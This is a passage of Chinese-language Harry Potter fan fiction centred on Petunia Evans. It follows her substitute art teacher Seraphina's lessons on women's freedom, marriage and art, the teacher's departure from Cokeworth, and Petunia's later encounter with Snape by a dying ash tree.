佩妮站在栏杆上看见这一幕,心里有一些紧张。
“维尔小姐,有家长向我投诉您的教学方式有一些问题。一般来说,我无意干预各位老师的教学方案,但是维尔小姐,您的授课方式太自由了,而且您让那些女生和男孩子们走太近了。”阿加莎说。
“噢,阿加莎女士,我正要去找您呢,刚好您来了。”塞拉菲娜就像没有听见阿加莎女士说的话一样,她从背上取下她的画板,从她的画夹里取出了一幅画,递给了阿加莎女士。
佩妮探出了自己的身体,努力想看清楚塞拉菲娜那幅画上的图案,她旁边的女生也纷纷探出了自己的身体。
阳光从白纸上反射到她们的眼里,清清楚楚向她们传递出画像上的内容。那上面用铅笔描绘着阿加莎女士的侧脸,画中的她沉默地看着画面的左侧,灰褐色的头发在脑后盘成一个发髻,被发网兜着,胸前那标志性的银十字架也画了出来。画中阿加莎女士的表情就像真人一样严肃,但她的眼神很温柔。
“这幅画送给您,阿加莎女士,你先拿着,有什么事等我回来再说。我要去追赶今天的太阳了,它此时的光线和角度正正好,倘若错过了,就得再等一天。”
塞拉菲娜抬头看见了正在偷看的佩妮和她周围的姑娘们。她们没有来得及躲开,阳光明晃晃地
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照在塞拉菲娜的脸上,她抬起手遮住眼前的太阳,冲佩妮她们挥了挥手,大声说:“你们好啊姑娘们,要上课了,你们快进教室里去吧。”
上课的钟声此时正好敲响,阿加莎女士站在原地,手上紧紧握着那幅画,她还想说什么,但是塞拉菲娜已经背着她的画板走远了。
走进教室之前,佩妮瞥见了阿加莎女士的表情。
这个表情代表的心情佩妮相当清楚,阿加莎女士一定也在头疼,为塞拉菲娜那完全与她年龄不相符的天真浪漫而头疼。她真是一个不成熟的大人。
现在有其他人与她感同身受了。
“要做一个聪明的女人。”斯通女士站在讲台边上说,她的金发仍然梳得一丝不苟,鲜红的嘴唇勾起恰到好处的笑容。
斯通女士今天讲的主题内容是“成为智慧女人——聪慧妻子的必修课。”
妈妈听得很认真,在她的笔记本上写下一条一条的笔记。佩妮在摊开的笔记本上涂涂画画。
“你不能显露得太聪明,要适时示弱。”
“你亦不能不够聪明,你的邻居是你的同盟,同她们搞好关系,她们知道的远比你知道得多。”
斯通女士的话有一搭没一搭地传来。
“巧妙地使用吸尘器,但是要让他看见你为维护家里的清洁整齐付出了多大的努力。”
“不要吃甜食。”
“少吃碳水化合物。”
“它们是使你身材走形的元凶。”
妈妈在笔记本上记下碳水化合物这个词,她在这个词上重重用黑笔画了一个圈,她转过头来看佩妮:“噢宝贝,你可以多吃一点,你看起来太瘦了,像莉莉那样就正好。你在乱画什么,听课呀佩妮。”
好不容易挨到下课,佩妮和妈妈再一次并肩走在石板路上,阳光同先前一样,从后面将她们的影子拉长,投在石板路上。在行走间,妈妈的影子和佩妮的影子时不时地交叠在一起,看起来亲密无间。
妈妈有一些生气:“佩妮,今天斯通女士的课你都没有好好在听,我觉得她的很有道理,佩妮,她在教你怎么做一个淑女,你要学着做一个聪明的淑女。”
佩妮打开了她的笔记本,把她一整节课的心血小心撕了下来,递给了妈妈:“妈妈,送给你。”
画上是妈妈听课的侧脸,她画得当然没有塞拉菲娜那么传神,但是描绘妈妈的每一笔佩妮都十分用心,标题上写着:给妈妈——致玛格丽特·伊万斯。落款是P.E。
妈妈接过画,看了半天,抬起头看着佩妮,她看起来有很多话想对佩妮说,但她最后什么也没说出来,她只是握着那幅画,把佩妮抱进了自己的怀里:“佩妮,妈妈从你小学三年级后,就再也没有收到过你的画了。”
她的声音里带了一点颤音,在妈妈的怀里,佩妮眨了眨眼,把眼睛里的雾气眨掉了。
————————————————————————————
塞拉菲娜:真诚是永远的必杀技。
佩妮:学到噜。
54.chapter53
“塞拉菲娜,我们想听你的故事。”她们把塞拉菲娜挤在中间,三角架上摆着另外一个苹果——现在可没人敢动这个苹果了,因为他们谁也不想坐在这个凳子上顶替苹果成为她们的模特。
苹果的事情还得苹果来干。
一支短小的铅笔在塞拉菲娜手指间转动。
“我毕业于美国卫斯理大学。”塞拉菲娜在白纸上勾勒出几根简单的线条,佩妮悄悄竖起了她的耳朵,“卫斯理是一所女子大学,在那里女生们可以接受当时最好的教育。”
塞拉菲娜给她们讲述她的大学生涯。
“在每个新学期的开学典礼上,我们前往学校的教堂,教堂门口有一个小木槌,我们拿起它,敲响教堂的门。”塞拉菲娜把自己的手指蜷起来,叩在画板上,模仿出敲门的声音。
塞拉菲娜微微侧过身体:“过来,敲响它。”
女孩们好奇地挤在画板前,饶有兴致地轮流敲响了画板,发出了叩门一样的声音。
佩妮站在画板前,敲响了画板。
“我们的校长就站在门的那一边,他问”塞拉菲娜转到了画板的另一侧,“‘是谁叩响了知识殿堂的大门?’”塞拉菲娜压低了她的声音,变了一个声调。
“你是谁?”塞拉菲娜从画板后探出头来看着佩妮。
“我是佩妮·伊万斯。”在塞拉菲娜和众人的视线中,佩妮的脸颊不自觉地泛起了红晕。
“你们又是谁?”塞拉菲娜的目光在女孩子们中转了一圈。在她的视线里,敲响了画板的女孩纷纷羞涩又期待地报出自己的名字。
“我,一位普通的女性,”塞拉菲娜重新转回了画板前,“叩响知识殿堂的大门。”
“你们在寻求什么?”塞拉菲娜用低沉的声音说道,她的目光在女孩当中流转,但她的目光太炽烈了,没有人能够答得上来。
“‘我将通过苦学获得灵魂,将我的一生献给知识’。”*
好像有人在佩妮的心底里拨动了一根琴弦,无声的音波在佩妮的心里荡开。
“我的那些同学们可聪明了,所有的书本和讲义都在她们的脑子里。”塞拉菲娜点了点自己的脑子,“凯瑟琳老师第一天给我们上课的时候,她放的任何一幅画,她们都能答出来,因为她们早就在上课前,把那些讲义背熟了,这就是卫斯理的传统。”
佩妮沉浸在塞拉菲娜的讲述里,那里一定有一间阳光明媚的教室,那些自信且昂扬的女士就坐在教室里,叩响无边知识的大门。
这就是大学,伊索尔德说,那是追求知识,以及让任何人都能自由做自己的殿堂。
“这可一点都不是普通的女性,塞拉菲娜,什么样的男人能配得上她们,她们最后是不是都嫁给了非常优秀的男士?”
这话使塞拉菲娜笑了起来:“那当然,按照当时的传统,大部分的同学后来都嫁给了上流社会的人士。”她的手搭在了画板上。那个提问的女孩露出了羡慕的表情。
“那你结婚了吗,塞拉菲娜?”
“没有。”塞拉菲娜对她们竖起了自己的手,无名指上空空如也,“我是那少部分的人,维尔是我的本家姓。”
“为什么不结婚呢?塞拉菲娜,你也是一个优秀的女人。”女生们有一些惋惜,“塞拉菲娜你难道不向往爱情吗?”
“我当然也向往爱情,孩子们,爱情是这个世界上相当美妙的东西。但我无法为它停留。在成为一名被大家期待的女人前,我得先成为我自己。”
在女孩茫然的表情中,她笑了起来:“就像我的老师凯瑟琳一样,她改变了我们的一些看法,但很遗憾,她只教授了我们一年,就离开了卫斯理。这些年来我往返于英国,美国,法国这些城镇,给各个阶层的人作画,在不同的学校担任时长不等的艺术老师,如果结了婚,停留在了某处,我就没有办法见到你们这些孩子了。”
“我向往爱情,但这个世界上还有很多其他的爱呢,孩子们。”
“那还是很可惜,你不会感到孤独吗,塞拉菲娜,你值得一个更美满幸福的人生。”有个女孩惋惜地说。
但塞拉菲娜没有回答这个问题,她笑了起来:“你们当中有多少人觉得自己以后会走入婚姻?”
大部分的女生都举起了自己的手,佩妮犹豫了一下,也举起了自己的手,但普尔佳没有举。
“你为什么不举手?”塞拉菲娜问普尔佳。
她的脸一下就红了起来:“我还没有遇到,我是说,我不是不想结婚,我是不想生孩子……”
——普尔佳关在阁楼里的妹妹,佩妮摇摇头把这个会使她心痛的想法赶出大脑。
“大部分的女生都是会结婚的,我外婆结婚生下我的妈妈,我妈妈结婚再生下我,以后我也要结婚,再剩下我的孩子。我外婆说,这就是女人的命运,女人的命运就像……就像……”
塞拉菲娜笑着接过了她的话语:“就像一条湍流不息的河水,但我决定跨过去,看看河岸那边有什么。”
这个比喻就像一声雷鸣,炸在了佩妮的耳边,使她半天没有回过神来,雨点在这个时候落了下来。
佩妮呆呆地抬起头,雷声不是她的错觉,天上不知道什么时候聚满了乌云,闪电在其中游动,发出阵阵压迫的雷鸣声,雨点打在了她的眼球上,撞击的疼痛使她偏过头闭上了眼睛。
“噢,下雨了,快走,我们得赶紧回教室。”塞拉菲娜带着女生们迅速收起了画板,“科克沃斯那里都好,就是这雨,总是说下就下。”
在雨势变大之前,她们回到了艺术鉴赏课的教室。
匆忙之中,佩妮不忘拿走了三角架上的那个苹果。
在雨声中,塞拉菲娜打开了她的投影仪。
现在画面上是一位身着深色衣裙的女人,她双手交叠,侧坐在椅子上,直视着前方,她的嘴角微微上扬。
“蒙娜丽莎的微笑,莱奥纳多·达·芬奇。”塞拉菲娜站在画面一旁看着她们,一缕棕色的头发垂在她的额前,使她看起来格外的温柔,“你们觉得,她在微笑吗?她快乐吗?”
佩妮托着腮,看着亮起来的画面,画面中的女人眼睛好像落在佩妮的身上,又好像落在别处,眼神柔和又深邃,像是藏着无数没有说出来的话语。
她在微笑吗?她快乐吗?
直到放学的钟声敲响,雨势也没有转小,塞拉菲娜打开教室的门,屋外雨水的气息铺面而来。
“我们得再一起待一会儿。”塞拉菲娜说,“科克沃斯的雨总是出乎我的意料。”
“如果你们愿意的话,稍等我一会儿。”塞拉菲娜打开了教室的门走了出去,外面雨势激烈,丝毫没有停歇的意思。
不一会儿她回来了,手中提着另外一台电器。
“那是一台磁带播放器!塞拉菲娜到底是从哪里搞过来的这些玩意儿?”那个扎着辫子叫朱诺的女孩说,她的声音很轻,但带着藏都藏不住的激动。
“既然如此,那我们多上一堂音乐鉴赏课。”教室里传出一阵小小的欢呼声。塞拉菲娜把教室的门关上,接上了磁带播放器的电源线,按下了播放键,在背景的暴风雨声中,悠扬的小
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提琴声从收音机里飘扬出来。
“噢,这首是四季中的夏。”塞拉菲娜说。
佩妮看见朱诺与她身边的女孩对视了一眼,像是下定什么决心一般,从自己的书包里翻找了一下,掏出了一张磁带,冲到了塞拉菲娜的身边:“塞拉菲娜,听这个。”
塞拉菲娜接过磁带看了一眼,在朱诺期待的眼神中挑起了她的眉:“大卫·鲍伊,我喜欢这个,你的品味我十分欣赏。”
“快放快放。”朱诺的声音听起来激动极了。塞拉菲娜按下了暂停键,把朱诺的磁带放了进去。
钢琴声和鼓点一起流淌了出来,随后传来男人梦幻般的歌声,这是佩妮从来没有听过的旋律。
音乐响起的第一瞬间,佩妮的手忽然紧紧抓住了裙角。
“注视着他冲了出去。”
“手里拿着的破旧玫瑰花还在摇曳着。”
不知道谁把教室的灯关掉了,室内光线昏暗,只有投影仪的光还亮着,蒙娜丽莎在墙上,微笑着俯瞰着她们。
音乐充斥了整间教室的每一个角落,钢琴的独奏在这一刻敲在每个人的心上。
朱诺和她的朋友贴在了一起。
第一首歌结束,接上的是更一阵猛烈的音乐,密集的鼓点敲开冰封的水面,积攒良久暗潮涌动的河水在一瞬间爆发,雨声成为另一重背景音乐,教室里的气氛火热起来。
朱诺带头跳上了一张桌子,张开她的手臂。
“她亦来亦去。”
“她信仰于你。”
“但她不会就此停留于你。”
她们在教室里随着音乐节奏跳起舞来,噢,都不能说是跳舞,她们的舞蹈并不专业,动作看起来随意极了,但她们都闭上了自己的眼睛,陶醉地沉醉在一个音乐编织的幻梦里。
塞拉菲娜抱着自己的手臂,把舞台让给了她们。
鼓声太尖锐了,敲得佩妮的心脏突突直跳,使佩妮没有办法再安静待在凳子上。佩妮把普尔佳从凳子上拽起来,像周围其他的女生一样,抱住了她。
普尔佳回抱着佩妮,在她耳边小声说:“如果被阿加莎女士发现了,我们就要被开除了,佩妮。”
“嗯。”佩妮把脸埋进普尔佳的发间,轻嗅着她发间苦艾草的气味,她还嗅到了一点奶粉的味道,这味道是普尔佳的生活,“在我们一起被开除之前,先把最后这一节音乐鉴赏课上完。”
音符就像河水一样在她们之间震荡,流淌传递与心跳频次相同的乐章。
教室里的门窗明明关得紧紧的,但从哪里吹来的风,还有从哪里传来的摩托车引擎发动的声音,在如梦似幻的音乐当中,佩妮觉得自己既置身于此时的教室里,又像坐在埃莉诺的飞马上,冲进了落日的余晖里。
但是大灯在这一刻被打开,一个高大的人影出现在了教室的门口。
一切像被按下了暂停键,随着屋外的雨点声,终止了教室里流动的音符和流淌的心情。
“维尔小姐,在圣凯瑟琳现代中学的教室里,磁带录音机是不被允许带进来的。”
“柯布小姐,还请你从课桌上下来。”
朱诺的脸色一下变得惨白起来。“对不起,阿加莎女士。”她匆忙从课桌上跳下来,不知所措地看着她。
塞拉菲娜按下了磁带播放机的暂停键,她对阿加莎女士说:“对不起,我只想再跟她们一起待一会儿。”
“您始终没有好好看我发给您的教师手册,”阿加莎女士深吸了一口气,对站在原地的女生们说:“放学时间到了,你们该回家了。”
55.chapter54
大家低头抱着书包,依次从阿加莎女士身边快速跑出教室。
气氛有一些凝重,她们谁也不敢多说一句话。
佩妮抱着她书包走到校门口,就停住了,虽然已经到放学时间了,但她还不想立刻回家。
她抬头看了一眼天空,雨已经停了,但下一场雨不知道什么时候会来。她深吸一口气,泥土、青草和水蒸气混着一点硫磺味的气息充盈进她的胸腔。
她转身跑回教学楼,与她同行的还有好几个女生。她们也是在校门口停下了自己的脚步,转身与佩妮一同跑了回去。
艺术鉴赏课的门虚掩着,她们凑在一起,静悄悄地把耳朵靠近门,听见声音从门缝里泄露出来。
先是阿加莎女士古板无波的声音:“一直有家长向我投诉塞拉菲娜小姐您的教学方式,认为您使得这些孩子们有了不该有的期待。医生说特蕾莎修女的身体已经好的差不多了,她获得了提前出院的许可,就在这两天,她就能回来继续担任她的教职了。不管怎么说,这段时间,辛苦您了,维尔小姐。”
女孩子们对视了一眼。
她们忘了塞拉菲娜只是一名临时代课的艺术老师,她不属于圣凯瑟琳现代中学,真正属于她们的特蕾莎修女马上就要回来了。
佩妮感觉到自己的心既酸又胀。
“噢,就在这两天,我知道了,阿加莎女士。”这是塞拉菲娜的声音,她的声音里透着一股大梦初醒的恍然感,“我还有时间准备一下。”
短暂的沉默过后,她们听见阿加莎女士的声音:“我听说过美国卫斯理,那是一所了不起的大学,她让女人们都受到了顶级的教育。不瞒您说,我在伦敦的时候,曾见过您老师,还有您的画展,那些画非常优美,您是一位相当优秀的艺术家。”她此刻的语气好像一直以来冰封的湖面突然裂开了一道细微的缝隙。
“我尊重您的知识,我认为我无权干涉每一位老师的教学方式,但是维尔小姐,我得对圣凯瑟琳中学负责。”
“1955年,我接手圣凯瑟琳现代中学,圣凯瑟琳现代中学认为每一个孩子都有平等的接受教育的机会。”
阿加莎女士把本·肖恩那个古怪的弟弟卷进自己袍袖里的那一幕浮现在佩妮的眼前。
“圣凯瑟琳现代中学的教育资金一部分来源于教会,一部分来源于政府,还有一部分来自于社会上一些人士的赞助,他们有些是这些孩子们的父母,有些则来自一些功成名就的学生。”阿加莎女士说,“正因为有这些资金的来源,每一个来这里读书的孩子,都不需要缴纳学费。虽然科克沃斯仍有很多孩子没办法来上学。”
“所以,圣凯瑟琳中学需要符合一些期待,能来到圣凯瑟琳中学的孩子们,也需要符合一些期待。”
“很可惜这里不是美国的卫斯理,这里是科克沃斯。”
“在羽翼未长全之前,太早给她们灌下不切实际的梦想是相当危险的一件事,不是每一个孩子都能承受摔落的代价。”
“但是,”这是塞拉菲娜的声音,“若永远也不尝试飞行,她们怎么知道自己未来会长成什么样子呢?您也是女人,她们也是女人。”
“只有很少一部分的鸟儿能具备一直在空中飞翔的能力,对于绝大大部分的鸟儿来说,捕食饮水才是她们的日常生活,在飞往蓝天之前,她们得先具备在丛林活下去的能力。”阿加莎的声音回复了她日常的严肃和平静,“我也是女人,您也是女人,她们也是女人,我怎么会不知道我们之间共享相同的命运呢?”
“但您得先让她们看见,阿加莎女士,给她们一次选择的机会。”
阿加莎女士推开门,看见了聚集在门外的孩子们。
“我再说一次,现在是放学时间,你们应该回家了。”阿加莎女士看着她们,她们也回望着阿加莎女士,沉默在她们当中蔓延,阿加莎女士先移开了她的视线,什么也没说,率先转身走进了走廊的深处。
塞拉菲娜打开门出来,见到她们吓了一大跳:“你们为什么还没有走?”
女孩们你看看我,我看看你,最后那名叫朱诺的女孩挤了出来,她涨红了脸,对塞拉菲娜说:“今天下课还没同你告别呢,塞拉菲娜,我们只想过来跟你说再见。”<
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p>“这是什么,塞拉菲娜?”
她们手上拿着一个长方形的大盒子,盒子的封面上是一幅油画绘成的向日葵,佩妮把盒子放在耳边摇了摇,盒子听起来有一些空,摇晃时里面有物体碰撞的声响。
塞拉菲娜倚在讲台边上,打开了她的投影仪。
“我为你们准备的礼物,小姐们,当年凯瑟琳老师为我们准备的礼物,今天我把它送给你们。”她的眼睛亮晶晶地看着她们,她脸上又显现出了那种与她的年龄完全不相符的天真烂漫的期待。
投影仪亮起光,不太平整的墙面上映出一幅画,画面中是塞拉菲娜给她们的盒子封面上向日葵的放大版。
佩妮抬头看着画面,铺天盖地的黄色印在她的眼睛里。她数了数,画中一共有15朵向日葵,有的盛开,有的凋谢,笔触浓烈而张扬。
“向日葵,这是荷兰画家文森特·梵高在1889年1月所画,告诉我,你们看见了什么?”
生命,源源不断的生命,从画面中扑向佩妮的眼睛,使她产生燃烧的错觉。
“20年前,我坐在卫斯理的课堂里,凯瑟琳给我们看了一样的画,跟你们今天看的这幅是一样的,”塞拉菲娜看着画像,像回忆起了什么,眼神看起来很温柔,她转过头笑着对她们说,“凯瑟琳让我们画向日葵,但不是梵高的向日葵,是我们自己心中的向日葵。”
“这是我的画。”
她轻轻按下投影仪。
在女孩子的视线中,墙壁上的画面一切,另一幅画出现在了她们的眼中。
没有向日葵,只有黄色的颜料,大块的黄色颜料被随心所欲地涂抹在整幅画面上,间中交杂着绿色、灰色还有先前梵高那幅向日葵上的可见的颜色。
粗粝的线条将整块的颜色分割开来,有些线条组成了眼睛一般的形状,从画像里看着她们。
画面实在荒诞又古怪,里面什么都没有,但里面又好像有什么,使佩妮无法移开自己的眼睛。
“这是我心中的向日葵。”塞拉菲娜看着她们。
“现在轮到你们画出自己的向日葵了。”*
56.chapter55
佩妮在走廊里追上塞拉菲娜。
塞拉菲娜停下脚步,回头看着她,茉莉,西柚的气息钻进佩妮的鼻子里。
看见塞拉菲娜的眼睛,佩妮深吸了一口气,话语却卡在了她的嗓子。
但塞拉菲娜只是安静地站在原地,温柔地看着她,等待她未说出口的话。
“苹果。”佩妮低头手忙脚乱地从自己的书包里翻出那个苹果。这是在那个下雨天,她们匆忙跑回教室时,佩妮从三脚架上拿起的苹果。她忘记把这个苹果还给塞拉菲娜了,但是即使在书包里放了好几天,那苹果的色泽仍然鲜艳。
“塞拉菲娜,这个苹果得还给你。”佩妮把这个苹果递给了塞拉菲娜。
但塞拉菲娜推回了佩妮的手:“把它带回去,佩妮,吃掉它。”
佩妮握着那个苹果,看着塞拉菲娜的眼睛,心里的话脱口而出:“索菲·特拉瑟姆是我的朋友。”
但那双眼睛仍然温柔地注视着她。
话匣一旦打开,那些情绪就像决堤的河水,再也控制不住,从她的心底流淌出来。
“我和索菲一起看了很多很多的浪漫小说。”
“起初那里有一条河,拦住了女人们,但那些浪漫小说里女主人公,她们很厉害,比我们厉害多了。她们要渡河。在渡河的过程中,他们出现了,他们给予了她们无限的关爱与承诺。他们携手,挣脱了彼此的命运,成功渡过了河。”
“一开始,阅读浪漫小说使我感到自由,也让我感到了力量,布伦南小姐有一把剑,一把宝剑。”
“但索菲看起来一点也不自由。”
“她好像也被一条河拦住了。”
“她想要渡河。她说她想要做一只鸟,飞过西伯利亚的上空。她从走廊上翻了下去,她摔断了自己的腿,这是她付出的代价,然后她如愿以偿获得了自己想要的自由。”
“但她真的渡过河了吗?”
“我想不明白,塞拉菲娜。”
索菲在走廊上伸出的双手,她摔断的腿,像被甩在墙上的身影,还有离开科克沃斯红色计程车上升起的黑色车窗。
昏暗的杂货铺里,消失了很久的薇拉转过去的身影,耸动的肩膀,发红的眼睛。
普尔佳发间苦艾草的味道,还有她关在阁楼上的妹妹。
普尔佳发了疯的妈妈。
在厨房里每天为佩妮还有爸爸精心准备晚餐的妈妈。
穿着一直扣到最上面那颗扣子的高领长袍的斯内普太太,乌青色的痕迹在她的领口里若隐若现。
她古怪的笑容,她对佩妮说,人生总是疼痛难免。
佩妮深深吸了一口气。
“这些事情统统都没有发生在我的身上。”
“我比绝大多数人都幸运,我是自由的。”
“布伦南小姐她有一把宝剑,但在最后,她获得了幸福美满的人生,她解下了自己的佩剑。”
“明明在小说的最后,她们已经成功渡河了,我应该为这个结局感到快乐,但不知道从什么时候开始,可能是索菲跳下去的时候,也可能是诺拉不让我再去阅读之夜的时候,可能更早,在布伦南小姐解下她的佩剑的时候,一股空虚却席卷了我。”
“在小说的结尾,他们越深爱彼此,我越感受到这里,”佩妮把手放在自己的胸口,“这里,空荡荡的。”
“塞拉菲娜,在卫斯理读书的生活是不是很快乐,很自由?”
“蒙娜丽莎她在微笑吗?她快乐吗?”
一双温暖的手捧住了佩妮的脸,视线里映出塞拉菲娜的眼睛。
画面里的眼睛,蒙娜丽莎的眼睛,索菲的眼睛,诺拉和阅读之夜里女人们的眼睛,薇拉、普尔佳的眼睛,妈妈和莉莉的眼睛,伊索尔德和埃莉诺的眼睛,形形色色的眼睛在凝望着她,注视着她。
佩妮闭上了自己的眼睛。
“不,睁开眼睛,看着我,佩妮。”塞拉菲娜说。
佩妮重新睁开眼睛,她眨了眨眼,忍住眼里泛起的雾气。
“你看见了,是不是?”塞拉菲娜说。
佩妮点点头。
塞拉菲娜笑起来,她松开捧住佩妮脸颊的手,转而握住了佩妮的手。
她牵着佩妮走在空无一人的走廊中,斜阳把她们的影子照在墙上。
在橘色的光线下,她的眼角和眉梢都清晰可见岁月的痕迹,但是她脸上却仍然是那矛盾的一派天真烂漫,这是岁月没法从她脸上夺走的东西。
“一代又一代,”塞拉菲娜说,“女人的命运就像一条湍流不息的河水。”
“我们都在那条河水中,我们都被河水困住了,都在找渡河的方法。”佩妮听着塞拉菲娜说。
“因为现实总是匮乏,所以我们在那些小说里寻找爱。”
“但它是爱情吗,佩妮?”佩妮茫然地看着塞拉菲娜微笑的侧脸。
“那无微不至的关爱和呵护,它究竟像男人对女人的爱,还是在原生之初,母亲赐予给我们的爱呢?”
塞拉菲娜的话使佩妮如遭雷击。
“但我们早已经被抛在了河流里,渡河的小船上只有你一人,握着船舵的只有你自己,佩妮。”斜阳的光线投射在走廊里,被走廊的墙柱分割成一块块的光影,她们穿行其中,从一块明亮里走进另一块明亮中。
“我们被河水裹挟,驶往不知名的方向,河水太宽阔了,总是看不见岸边,河面上偶尔有孤岛,岛上鸟语花香,看起来很安全,但那始终是孤岛,并不是真实的岸边。”
“卫斯理其实并不如你想象中的那么美好,佩妮。我们叩响了知识殿堂的大门,但大多数同学毕业后就回归了家庭。”
“她们当中有些人为了家庭,放弃了自己的事业,这值得吗?”塞拉菲娜对佩妮眨了眨眼睛,“别急着回答我。”
“但他们从来也不会问一名成功的男士,你要选择家庭还是工作。”
“现实的问题是没有答案,佩妮。20年前没有答案的问题,现在也没有答案,20年后也不一定会有答案。”
“一名女人在成为自己之前,总被几乎不可抗拒的诱惑包围着。”*
“每一种事物都在诱使她走容易走的道路;她不是被要求奋发向上,走自己的路,而是听说只要滑下去,就可以到达极乐的天堂。”*
“当她发觉自己被海市蜃楼愚弄时,已经为时太晚,她的力量在失败的冒险中已被耗尽。”*
塞拉菲娜带着佩妮走出教学楼,残阳如血。
“我们自由吗?”她问佩妮。
“为什么女人总是要面临那么多的选择?这个问题我也不知道答案。”
“但没有选择的自由不是真正的自由。选择的内容是什么不重要,拥有选择的自由本身更重要。”
“你得握住桨橹
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。”
“你被抛在命运的河流里。”
“你没有一双犀利的眼睛,看不穿河面上的迷雾,但你亦不会被河流上看似安全的孤岛所欺骗,你知道那不是真正的河岸。”
“你只有一颗顽石做的心,所以你的心不会被海妖的歌声所迷惑,你将船橹握在自己的手上,没有人能动摇你过河的决心。”
“渡过那条河去,佩妮。”
在校门口,塞拉菲娜蹲下来,直视着佩妮。
“现在你该回家了。”
塞拉菲娜将自己的画板还有为数不多的行李放到计程车的后备箱,她用力按下了车后盖。
她穿着那身红色格子衬衫,蓝色牛仔裤,脚上踏着那双洗得有些泛白的淡黄色帆布鞋。
她坐上计程车,汽车缓缓地驶动起来,穿行在圣凯瑟琳现代中学前方不算宽敞的街道里。
“麻烦,科克沃斯火车站谢谢。”
汽车缓慢地从司机从后视镜里看着她:“您的口音不像本地人。这一站结束了?”
“是的,这一站结束了。”塞拉菲娜笑着回答他,她摇下车窗,树影投射到她的脸上。
“下一站打算去哪。”
“还没有想好,可能去米兰,也可能去巴塞罗那,这取决于我的骰子最后会落在车站地图的哪里。”
她和司机一起笑了起来。
司机从后视镜里看见了什么,他不时抬头,语气有一些疑惑:“小姐,我是说,您是老师吗,那些是您的孩子吗?”
塞拉菲娜在车里回头。
从车后窗里往外看,不远处的地平线上逐渐涌现出一辆辆单车。
她们骑在单车上,蹬着车轮,往前追逐着她的计程车。
风把她们发梢和裙角都吹了起来,她们看起来都像要飞起来一样。
车铃铛声叮铃作响,把塞拉菲娜带回20年前的记忆中。
——20年前她们也是这样去追逐凯瑟琳的单车。**
“要停车吗,小姐。”司机问。
“不要停,塞拉菲娜,不要停。”佩妮踩着她的单车,追上了塞拉菲娜的计程车,“就这样继续往前走,不要停下来,塞拉菲娜。”
佩妮对坐在车里的塞拉菲娜眨了眨眼,其他的女孩子也从后面追赶了上来。
计程车既没有停下,也没有加速,只是匀速驶过那些街道。
佩妮松开自己的右手,她的单车晃了一下,她身后的女孩子尖叫道:“佩妮!注意点!我们可不想再把你扛回去。”
她们一同发出了银铃一般的笑声。
佩妮从自己的书包里掏出了那本笔记本,瞄准了塞拉菲娜打开的车窗:“嘿,塞拉菲娜,接住她。”
塞拉菲娜接过佩妮的笔记本,坐在汽车后座上,粗略地翻动了几页,她的脸上浮现出惊讶又喜悦的表情。
“我不想让布伦南小姐停下来,她明明有一把宝剑,她还能再踏上旅程。”佩妮靠近塞拉菲娜打开的车窗,大声对她说。
“但是后面的故事我不知道怎么写了,塞拉菲娜。”风从她们身边划过,明媚的阳光照在她们前进的路上,这是一个完美的晴天。
塞拉菲娜从车窗里探出身,用手拂开被风吹起,挡住她视线的棕色头发,她对佩妮说。
“属于布伦南小姐的故事已经结束了,佩妮,接下来该写属于你自己的故事了。”
57.chapter56
佩妮站在那棵白蜡树跟前,细细端详着它。
它看起来足有三、四层楼那么高,树径要两个人才能合抱过来,树皮呈深灰色,往上伸着它绿色的枝桠。
它看起来和别的树没有什么区别。
但那天塞拉菲娜坐在马路对面,说那棵白蜡树要死了。
佩妮在这一排白蜡树之间穿寻,一棵一棵看过去,找到了塞拉菲娜说的那棵白蜡树。
得凑近一些看。
凑近了,仔细端详,便可发现它与其他树细微的差别——它顶部的树梢比别的要稀疏一些,叶片在绿中透着一些发黄。与其他的树相比,它深灰色的树皮上出现了一道道的裂纹,部分裂纹之间渗出锈色的汁液,树皮的颜色比其他树要浅一些。
塞拉菲娜没有骗她,这棵白蜡树要死了。
阳光从它稀疏的树冠间洒下来,光影投射在佩妮的脸上,灿烂的阳光使她不得不闭上了眼。
“这棵树生病了。”佩妮睁开眼,应该是附近伐木场的工人,他从佩妮的身边走过去,顺着佩妮的视线,他看见了这棵树,他把手上戴的棉质手套摘了下来,拂去了额头上的汗水,打量着那棵树,给佩妮解释。
“一开始,先是在波兰出现,随后各个国家都开始有了,现在轮到科克沃斯了。让这树生病的罪魁祸首,那些专家们说,它叫什么真菌来着。”阳光下,工人皱起了眉头,他的眉间出现和树皮一样深刻的裂纹,“很快这棵树就要被移走了,在它把其它的树都传染上之前。”
“它会被送到哪里去?”佩妮轻声问。
“生病的地方会被砍掉,剩下没有生病的部分,就会同它的同类一样,被做成斧头、锤子手柄那些,你要知道,它的木头既坚韧,又有弹性。”
“它生的病会传染给人吗?”佩妮抬头看着它有些褪色的树皮。
伐木场的工人耸了耸肩:“不会。人有人得的病,树有树得的病。这是树的命运。”
“早点回去吧小姐,只是一棵树而已,这地方可没什么好看的。”伐木场的工人说,他重新戴上了他的手套,嘟嘟囔囔地走远了,把佩妮留在了原地。
正午的阳光洒下来,室外的温度开始升高,佩妮将自己的外套脱了下来,拿在了手上。
她看着那棵树。
它就这么静静地立在阳光下。
它知道自己要死了吗?
佩妮靠近了这棵树,她把自己的耳朵凑在了树干上。
它只是一棵树,它不会说话,但她忍不住想听听。
听听它会留下些什么声音。
一声从鼻腔里喷出来的笑声在她身后响起。
佩妮站直自己的身体,回过头。
斯内普就站在离她不远处的地方,她撞上了斯内普打量她的视线。他显然看见了佩妮刚刚的一套动作,苍白的脸上泛起了一抹说不清是讥诮还是冷笑的表情。
佩妮打量着斯内普,他看起来长高了不少,没有再穿着小时候那身既破又旧还十分不合身的衣裳。他罕见地把头发梳整齐了,穿着一套二手西装——虽然稍显宽大,但起码是干净的,白色的衬衣上还打着领结,看起来像刚从一场重要的集会中离场。天气是有一些热,他把黑色的西装外套搭在左手上。
他十分瘦削,五官仍显青涩,那身西装像挂在他的身上一样,使他看起来就像一个偷穿大人衣服的小孩。
但那双黑色眼睛里偶尔透出的毫不客气的眼神,又将他那绝不允许别人把他当小孩的内心展现得淋漓尽致。
斯内普抬起了他的下巴:“如果我没有看错的话,佩妮·伊万斯小姐刚刚是在试图聆听一棵树吗?”
凝视着那双黑色的眼睛半晌,佩妮张了张嘴。
佩妮看着他,他也看着佩妮,黑色的眼珠冰冷又倔强地注视着佩妮,就像小时候一样,在随时等待反击她的反击。
“谢谢你。”佩妮说。
眼珠的主人在她面前骤然瞪大了他的眼睛。
“我说,谢谢你,斯内普。”在他像吞吃了青蛙一样的表情中,佩妮看着他漆黑的眼睛,往前迈了一步。
“为你在危难中向我伸出的两次手,第一次在那个大坑里,第二次在炉灰巷。”
